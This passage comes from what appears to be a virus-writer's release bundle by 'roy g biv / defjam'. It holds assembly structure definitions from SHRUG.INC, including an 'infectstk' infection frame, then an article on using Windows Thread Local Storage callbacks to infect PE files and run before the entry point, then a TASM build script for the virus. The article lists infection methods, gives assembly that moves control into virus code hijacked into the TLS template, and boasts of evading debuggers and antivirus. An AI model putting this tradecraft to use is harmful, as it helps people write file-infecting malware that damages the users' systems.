pemajorlink db ? ;1A
peminorlink db ? ;1B
pecodesize dd ? ;1C
peidatasize dd ? ;20
peudatasize dd ? ;24
peentrypoint dd ? ;28
pecodebase dd ? ;2C
pedatabase dd ? ;30
peimagebase dd ? ;34
pesectalign dd ? ;38
pefilealign dd ? ;3C
pemajoros dw ? ;40
peminoros dw ? ;42
pemajorimage dw ? ;44
peminorimage dw ? ;46
pemajorsubsys dw ? ;48
peminorsubsys dw ? ;4A
pereserved dd ? ;4C
peimagesize dd ? ;50
pehdrsize dd ? ;54
pechksum dd ? ;58
pesubsys dw ? ;5C
pedllflags dw ? ;5E
pestackmax dd ? ;60
pestacksize dd ? ;64
peheapmax dd ? ;68
peheapsize dd ? ;6C
peldrflags dd ? ;70
pervacount dd ? ;74
peexport pedir <?> ;78
peimport pedir <?> ;80
persrc pedir <?> ;88
peexcpt pedir <?> ;90
pesecurity pedir <?> ;98
pereloc pedir <?> ;A0
pedebug pedir <?> ;A8
pearch pedir <?> ;B0
peglobal pedir <?> ;B8
petls pedir <?> ;C0
peconfig pedir <?> ;C8
pebound pedir <?> ;D0
peiat pedir <?> ;D8
pedelay pedir <?> ;E0
pecom pedir <?> ;E8
persrv pedir <?> ;F0
pehdr ends
peexp struct
expflags dd ?
expdatetime dd ?
expmajorver dw ?
expminorver dw ?
expdllrva dd ?
expordbase dd ?
expadrcount dd ?
expnamecount dd ?
expadrrva dd ?
expnamerva dd ?
expordrva dd ?
peexp ends
mzhdr struct
mzsig dw ? ;00
mzpagemod dw ? ;02
mzpagediv dw ? ;04
mzrelocs dw ? ;06
mzhdrsize dw ? ;08
mzminalloc dw ? ;0A
mzmaxalloc dw ? ;0C
mzss dw ? ;0E
mzsp dw ? ;10
mzchksum dw ? ;12
mzip dw ? ;14
mzcs dw ? ;16
mzreloff dw ? ;18
mzfiller db 22h dup (?) ;1A
mzlfanew dd ? ;3C
mzhdr ends
pesect struct
sectname db 8 dup (?)
sectvirtsize dd ?
sectvirtaddr dd ?
sectrawsize dd ?
sectrawaddr dd ?
sectreladdr dd ?
sectlineaddr dd ?
sectrelcount dw ?
sectlinecount dw ?
sectflags dd ?
pesect ends
mapsehstk struct
mapsehprev dd ?
mapsehexcpt dd ?
mapsehregs dd 8 dup (?)
mapsehsehret dd ?
mapsehinfret dd ?
mapsehstk ends
mapstack struct
mapfilesize dd ?
mapmapret dd ?
mapinfret dd ?
mapattrib dd ?
mapstack ends
infectstk struct
infdelta dd ?
infmapview dd ?
inffilesize dd ?
infseh mapsehstk <?>
infectstk ends
align ;restore default alignment
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TLS.TXT]ÄÄÄ
Thread Local Storage
The hidden entry point
roy g biv / defjam
-= defjam =-
since 1992
bringing you the viruses of tomorrow
today!
Prologue:
Please excuse my English. I'm still learning.
About the author:
Former DOS/Win16 virus writer, author of several virus families, including
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
sources ;), and Virus Bulletin 9/95 for a description of what they called
Rainbow. Co-author of world's first virus using circular partition trick
(Orsam, coded with Prototype in 1993). Designer of the world's first XMS
swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the
rest is swapped out). Author of various retrovirus articles (eg see Vlad #7
for the strings that make your code invisible to TBScan). Went to sleep for a
number of years. This is my first virus for Win32. It is the world's first
virus using Thread Local Storage for replication. It took me a week to design
it and a whole day to write it.
I'm also available for joining a group. Just in case anyone is interested. ;)
What is Thread Local Storage?
This is what Microsoft has to say about it:
"The .tls section provides direct PE/COFF support for static Thread Local
Storage (TLS). TLS is a special storage class supported by Windows NT. To
support this programming construct, the PE/COFF .tls section specifies the
following information: initialization data, callback routines for per-thread
initialization and termination, and the TLS index".
So, Thread Local Storage (TLS) is a Microsoft invention for applications that
need to initialise thread data before main execution begins. To do this,
there are callback pointers. These functions execute before the code at the
main entry point! To prove that, load my example code into any debugger and
see what happens. Ho ho, we even fool SoftIce for NT, the god of debuggers.
Clearly, this is a new way for viruses to run and probably the AVers don't
know about it yet, or if they do then they don't support it because no viruses
use it (maybe they said that about NTFS alternative streams too).
Some points now:
We can ignore the reference to .tls because there is a field in the PE header
that points to this structure anywhere in the file. Unfortunately, it's true
that it works only under Windows NT/2000/XP. Under Windows 9x/Me, simply
nothing happens and those functions never receive control. At least it
doesn't crash. :) Also, NT/2000/XP require import section that imports dll
that uses kernel32 APIs, else a page fault occurs. This appears to be a bug.
The callback functions have the same parameters as a DLL entry-point function,
except that nothing is returned. The declaration looks like this:
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK)
(PVOID DllHandle, DWORD Reason, PVOID Reserved);
This means that there are three parameters on the stack, so TLS functions must
use RET 000Ch on exit. The Reason parameter can take the following values:
Setting Value Description
DLL_PROCESS_ATTACH 1 New process has started
DLL_THREAD_ATTACH 2 New thread has been created
DLL_THREAD_DETACH 3 Thread is about to be terminated
DLL_PROCESS_DETACH 0 Process is about to terminate
The DLL_PROCESS_ATTACH and DLL_PROCESS_DETACH messages mean that we are called
for the host startup (after CreateProcess() but before process entry point)
and shutdown (from within ExitProcess()), and the DLL_THREAD_ATTACH and
DLL_THREAD_DETACH mean that we are called for thread startup (after
CreateThread() but before thread entry point) and shutdown (from within
ExitThread()). This happens for EXEs and also DLLs (but only DLLs that are
not loaded with LoadLibrary). No need to hook ExitProcess() anymore because
we will be called by ExitProcess() automatically.
It is important to know that NTDLL.DLL (not KERNEL32.DLL!) calls the callback
functions, and that kernel32.dll is not in the SEH chain when the ATTACH
messages are sent, only when the DETACH messages are sent. Thus, if you need
to call kernel32.dll APIs from an ATTACH message, then you cannot use a SEH
walker to find kernel32.dll image base. The good thing is that the import
table is filled already, so you can use the host imports.
What does TLS look like?
At offset 0xC0 in the PE header is the pointer to the TLS directory.
According to Microsoft documentation, the TLS directory has the format:
Offset Size Field Description
0x00 4 Raw Data Start VA Starting address of the TLS template
0x04 4 Raw Data End VA Address of last byte of TLS template
0x08 4 Address of Index Location to receive the TLS index
0x0C 4 Address of Callbacks Pointer to array of TLS callbacks
0x10 4 Size of Zero Fill Size of unused data in TLS template
0x14 4 Characteristics (reserved but not checked)
Notice that the pointers are all virtual addresses (VA), not relative virtual
addresses (RVA). This means that if we add a TLS directory, we should also
add relocation items to the .reloc section, or simply remove all relocations.
The reason for this is that if the file is loaded to a different base address,
then Windows NT/2000 will display the message box "The application failed to
initialize correctly" and the file will not execute anymore.
What do the TLS fields mean?
The TLS template contains data that are copied whenever a thread is created.
These data can also be executable codes. If the template exists (it is
optional and so the fields can be null) then when the application starts,
Windows will allocate an array for the TLS pointers and store this pointer at
fs:0x2c. For each thread that is created, the size of the template is
allocated from the local heap, the data are copied to there, the pointer is
stored in the array, and the array index is stored in the TLS index field. A
thread can get its pointer by this formula:
dword at (dword at fs:[0x2c] + (TLS index * 4))
Or some code:
mov eax, dword ptr fs:[2ch] ;get pointer to array of TLS pointers
mov ecx, dword ptr [offset TLSIndex] ;get TLS index
mov eax, dword ptr [ecx * 4 + eax] ;get pointer to TLS data
then access data at [eax + offset]
The Address of Callbacks field contains the Virtual Address of an null-
terminated array of functions that receive the ATTACH/DETACH messages. It is
valid to have no entries in this array. In that case, the field is supposed
to point to four zero bytes, however the actual field can also be null.
How to use TLS?
There are a few simple ways to use TLS to infect a file:
add a callback pointer to existing array (or create new array)
alter one of the host callback pointers
alter the code in one of the callbacks
create a new TLS directory
hijack the TLS template and alter some code somewhere in the file
If you want to use the TLS method to infect a file, firstly check if a TLS
directory exists already. If it does, then you can pick at random a callback
routine pointer and change it to point to your code. If there is no existing
TLS directory, then add one by setting correctly the pointers in your own
version. The template addresses can be set to null and the index pointer can
point to any writable dword (including the Characteristics field because it is
not used). The callback pointer will point to the array of callback routine
pointers, one of which will be the virus entry point. When this entry point
receives control, the file is loaded fully into memory and the import table is
fixed up. This means that we can do anything that we would do normally, like
go resident or call API functions and spread to other files. The main
difference is that we are guaranteed to be called at least twice, once on
startup and once on shutdown, and twice more for every thread that the host
uses. This means that we must be careful to avoid recursion because we will
also be called if we use threads in our virus code.
Hijacking the TLS template is a technique that I discovered some time later
during my research. The idea is to make a copy of the TLS template and add
the virus code to it. When the process starts (or a thread is created), then
the virus code is copied by Windows into the heap. This means that the code
is automatically placed into a executable and writable memory space, without
any call to malloc or memcopy. The only thing that is required after that is
to transfer control to the code on the heap. That is done by using the TLS
index to get the heap pointer.
The transfer of control code would look something like this:
this code is in the file:
fib:
push eax
push ecx
mov eax, dword ptr fs:[2ch]
mov ecx, dword ptr [offset tls_index]
mov eax, dword ptr [ecx * 4 + eax]
add eax, size of original TLS template
call eax
fie:
this code is on the heap:
pop eax ;get return address
pop ecx ;restore original ecx
sub eax, fie - fib ;point to first byte of code in file
xchg eax, [esp] ;store real return address and restore original eax
pushad ;now save all original registers
;rest of code is here. do not forget to restore host bytes
popad ;restore all registers
ret ;return to host
Epilogue:
Now you want to look at my example code and then to make your own examples.
There are many possibilities with this technique that make it very
interesting. It is easy when you know how. Just use your imagination.
TLSDemo1 has an inserted TLS directory and code that displays message box.
This code runs before main entry point.
TLSDemo2 has a hijacked TLS template and code that displays message box.
This code jumps from main entry point to heap without malloc or memcopy.
Greets to the old Defjam crew:
Prototype, RTFishel, Obleak, and The Gingerbread Man
rgb/dj jan 2001
iam_rgb@hotmail.com
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TLS.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ
@echo off
if %1.==. goto usage
%tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1
if errorlevel 1 goto end
%tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib,
del %1.obj
goto end
:usage
echo.
echo Usage: MAKE filename
echo eg. MAKE SHRUG
echo requires %tasm32% set to TASM directory (eg C:\TASM)
:end
echo.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ